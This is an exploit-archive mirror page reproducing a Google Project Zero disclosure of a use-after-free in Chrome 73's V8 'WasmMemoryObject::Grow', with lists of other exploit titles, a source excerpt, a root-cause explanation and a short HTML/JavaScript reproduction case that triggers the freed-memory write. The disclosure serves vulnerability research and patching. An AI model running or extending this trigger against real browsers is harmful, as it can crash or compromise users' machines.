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"Google Chrome 73.0.3683.103 - 'WasmMemoryObject::Grow' Use-After-Free"

Author

"Google Security Research"

Platform

multiple

Release date

2019-06-05

Release Date Title Type Platform Author
2019-06-05 "Google Chrome 73.0.3683.103 - 'WasmMemoryObject::Grow' Use-After-Free" dos multiple "Google Security Research"
2019-05-28 "Phraseanet < 4.0.7 - Cross-Site Scripting" webapps multiple "Krzysztof Szulski"
2019-05-27 "Deltek Maconomy 2.2.5 - Local File Inclusion" webapps multiple JameelNabbo
2019-05-29 "Spidermonkey - IonMonkey Unexpected ObjectGroup in ObjectGroupDispatch Operation" dos multiple "Google Security Research"
2019-05-29 "Spidermonkey - IonMonkey Leaks JS_OPTIMIZED_OUT Magic Value to Script" dos multiple "Google Security Research"
2019-05-22 "Zoho ManageEngine ServiceDesk Plus 9.3 - Cross-Site Scripting" webapps multiple Vingroup
2019-05-22 "Zoho ManageEngine ServiceDesk Plus < 10.5 - Improper Access Restrictions" webapps multiple Vingroup
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - 'in6_pcbdetach' Stale Pointer Use-After-Free" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - Wild-read due to bad cast in stf_ioctl" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - AIR Optimization Incorrectly Removes Assignment to Register" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - Loop-Invariant Code Motion (LICM) in DFG JIT Leaves Stack Variable Uninitialized" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 DFG JIT Compiler - 'HasIndexedProperty' Use-After-Free" dos multiple "Google Security Research"
2019-05-21 "Deluge 1.3.15 - 'URL' Denial of Service (PoC)" dos multiple "Victor Mondragón"
2019-05-13 "Google Chrome V8 - Turbofan JSCallReducer::ReduceArrayIndexOfIncludes Out-of-Bounds Read/Write" dos multiple "Google Security Research"
2019-05-10 "CyberArk Enterprise Password Vault 10.7 - XML External Entity Injection" webapps multiple "Marcelo Toran"
2019-05-10 "TheHive Project Cortex < 1.15.2 - Server-Side Request Forgery" webapps multiple "Alexandre Basquin"
2019-05-07 "Prinect Archive System 2015 Release 2.6 - Cross-Site Scripting" webapps multiple alt3kx
2019-05-08 "Oracle Weblogic Server - 'AsyncResponseService' Deserialization Remote Code Execution (Metasploit)" remote multiple Metasploit
2019-05-08 "PostgreSQL 9.3 - COPY FROM PROGRAM Command Execution (Metasploit)" remote multiple Metasploit
2019-05-06 "ReadyAPI 2.5.0 / 2.6.0 - Remote Code Execution" webapps multiple "Gilson Camelo"
2019-05-03 "Zotonic < 0.47.0 mod_admin - Cross-Site Scripting" webapps multiple "Ramòn Janssen"
2019-04-30 "Domoticz 4.10577 - Unauthenticated Remote Command Execution" webapps multiple "Fabio Carretto"
2019-04-24 "Google Chrome 72.0.3626.121 / 74.0.3725.0 - 'NewFixedDoubleArray' Integer Overflow" remote multiple "Google Security Research"
2019-04-22 "ManageEngine Applications Manager 14.0 - Authentication Bypass / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-04-22 "Google Chrome 73.0.3683.103 V8 JavaScript Engine - Out-of-Memory in Invalid Table Size Denial of Service (PoC)" dos multiple "Bogdan Kurinnoy"
2019-04-19 "Atlassian Confluence Widget Connector Macro - Velocity Template Injection (Metasploit)" remote multiple Metasploit
2019-04-18 "LibreOffice < 6.0.7 / 6.1.3 - Macro Code Execution (Metasploit)" local multiple Metasploit
2019-04-18 "Netwide Assembler (NASM) 2.14rc15 - NULL Pointer Dereference (PoC)" dos multiple "Fakhri Zulkifli"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in GlyphIterator::setCurrGlyphID" dos multiple "Google Security Research"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in sc_FindExtrema4" dos multiple "Google Security Research"
Release Date Title Type Platform Author
2019-06-05 "Google Chrome 73.0.3683.103 - 'WasmMemoryObject::Grow' Use-After-Free" dos multiple "Google Security Research"
2019-05-29 "Qualcomm Android - Kernel Use-After-Free via Incorrect set_page_dirty() in KGSL" dos android "Google Security Research"
2019-05-29 "Spidermonkey - IonMonkey Unexpected ObjectGroup in ObjectGroupDispatch Operation" dos multiple "Google Security Research"
2019-05-29 "Spidermonkey - IonMonkey Leaks JS_OPTIMIZED_OUT Magic Value to Script" dos multiple "Google Security Research"
2019-05-23 "Microsoft Windows 10 1809 - 'CmKeyBodyRemapToVirtualForEnum' Arbitrary Key Enumeration Privilege Escalation" local windows "Google Security Research"
2019-05-23 "Visual Voicemail for iPhone - IMAP NAMESPACE Processing Use-After-Free" dos ios "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - 'in6_pcbdetach' Stale Pointer Use-After-Free" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 XNU - Wild-read due to bad cast in stf_ioctl" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - AIR Optimization Incorrectly Removes Assignment to Register" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 JavaScriptCore - Loop-Invariant Code Motion (LICM) in DFG JIT Leaves Stack Variable Uninitialized" dos multiple "Google Security Research"
2019-05-21 "Apple macOS < 10.14.5 / iOS < 12.3 DFG JIT Compiler - 'HasIndexedProperty' Use-After-Free" dos multiple "Google Security Research"
2019-05-13 "Google Chrome V8 - Turbofan JSCallReducer::ReduceArrayIndexOfIncludes Out-of-Bounds Read/Write" dos multiple "Google Security Research"
2019-04-30 "Linux - Missing Locking Between ELF coredump code and userfaultfd VMA Modification" dos linux "Google Security Research"
2019-04-26 "systemd - DynamicUser can Create setuid Binaries when Assisted by Another Process" dos linux "Google Security Research"
2019-04-24 "Google Chrome 72.0.3626.121 / 74.0.3725.0 - 'NewFixedDoubleArray' Integer Overflow" remote multiple "Google Security Research"
2019-04-24 "VirtualBox 6.0.4 r128413 - COM RPC Interface Code Injection Host Privilege Escalation" local windows "Google Security Research"
2019-04-23 "Linux - 'page->_refcount' Overflow via FUSE" dos linux "Google Security Research"
2019-04-23 "Linux - Missing Locking in Siemens R3964 Line Discipline Race Condition" dos linux "Google Security Research"
2019-04-23 "systemd - Lack of Seat Verification in PAM Module Permits Spoofing Active Session to polkit" dos linux "Google Security Research"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in GlyphIterator::setCurrGlyphID" dos multiple "Google Security Research"
2019-04-17 "Oracle Java Runtime Environment - Heap Corruption During TTF font Rendering in sc_FindExtrema4" dos multiple "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV PostLuafvPostReadWrite SECTION_OBJECT_POINTERS Race Condition Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization Cache Manager Poisoning Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV NtSetCachedSigningLevel Device Guard Bypass" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV LuafvCopyShortName Arbitrary Short Name Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization Cross Process Handle Duplication Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 - LUAFV Delayed Virtualization MAXIMUM_ACCESS DesiredAccess Privilege Escalation" local windows "Google Security Research"
2019-04-16 "Microsoft Windows 10 1809 / 1709 - CSRSS SxSSrv Cached Manifest Privilege Escalation" local windows "Google Security Research"
2019-04-03 "Google Chrome 72.0.3626.96 / 74.0.3702.0 - 'JSPromise::TriggerPromiseReactions' Type Confusion" remote multiple "Google Security Research"
2019-04-03 "Google Chrome 73.0.3683.39 / Chromium 74.0.3712.0 - 'ReadableStream' Internal Object Leak Type Confusion" dos multiple "Google Security Research"
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46968/?format=json')
                                                {"url": "https://www.nmmapper.com/api/exploitdetails/46968/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46968/41382/google-chrome-7303683103-wasmmemoryobjectgrow-use-after-free/download/", "exploit_id": "46968", "exploit_description": "\"Google Chrome 73.0.3683.103 - 'WasmMemoryObject::Grow' Use-After-Free\"", "exploit_date": "2019-06-05", "exploit_author": "\"Google Security Research\"", "exploit_type": "dos", "exploit_platform": "multiple", "exploit_port": null}
                                            

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<!--
VULNERABILITY DETAILS
https://cs.chromium.org/chromium/src/v8/src/wasm/wasm-objects.cc?rcl=783343158eb1b147df7e6669f1d03c690c878e21&l=1253
```
int32_t WasmMemoryObject::Grow(Isolate* isolate,
                               Handle<WasmMemoryObject> memory_object,
                               uint32_t pages) {
[...]
  Handle<JSArrayBuffer> new_buffer;
  if (old_buffer->is_shared()) {
    // Adjust protections for the buffer.
    if (!AdjustBufferPermissions(isolate, old_buffer, new_size)) {
      return -1;
    }
    void* backing_store = old_buffer->backing_store();
    if (memory_tracker->IsWasmSharedMemory(backing_store)) {
      // This memory is shared between different isolates.
      DCHECK(old_buffer->is_shared());
      // Update pending grow state, and trigger a grow interrupt on all the
      // isolates that share this buffer.
      memory_tracker->SetPendingUpdateOnGrow(old_buffer, new_size);
      // Handle interrupts for this isolate so that the instances with this
      // isolate are updated.
      isolate->stack_guard()->HandleInterrupts();
      // Failure to allocate, or adjust pemissions already handled here, and
      // updates to instances handled in the interrupt handler safe to return.
      return static_cast<uint32_t>(old_size / wasm::kWasmPageSize);
    }
    // SharedArrayBuffer, but not shared across isolates. Setup a new buffer
    // with updated permissions and update the instances.
    new_buffer =
        wasm::SetupArrayBuffer(isolate, backing_store, new_size, // ***1***
                               old_buffer->is_external(), SharedFlag::kShared);
    memory_object->update_instances(isolate, new_buffer);
[...]
```

When `Grow` is called on a `WebAssembly.Memory` object that's backed by a `SharedArrayBuffer`, it
uses the buffer's backing store pointer to construct a new array buffer[1]. Calling `Detach` on
shared buffers is prohibited by the spec, so the the method just leaves the old one as it is. Thus
two array buffers might end up owning the same backing store, and if one of the them got garbage
collected, the other one would point to a freed memory region.

Blink's SharedArrayBuffer implementation uses reference-counted backing stores, so v8 should
probably implement something similar.

VERSION
Google Chrome 73.0.3683.103 (Official Build) (64-bit) (cohort: Stable)
Chromium 75.0.3758.0 (Developer Build) (64-bit)
This bug affects the stable branch due to the currently active "WebAssembly Threads" Origin Trial.
https://developers.chrome.com/origintrials/#/view_trial/-5026017184145473535

REPRODUCTION CASE
-->

<script>
function gc() {
  for (let i = 0; i < 50; ++i) {
    let buffer = new ArrayBuffer(1024 * 1024);
  }
}

setInterval(() => {
  memory = new WebAssembly.Memory({initial: 1, maximum: 2, shared: true});
  memory.grow(1);
  gc();
  array = new Int8Array(memory.buffer);
  array[0x1337] = 1;
});
</script>

<!--
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
-->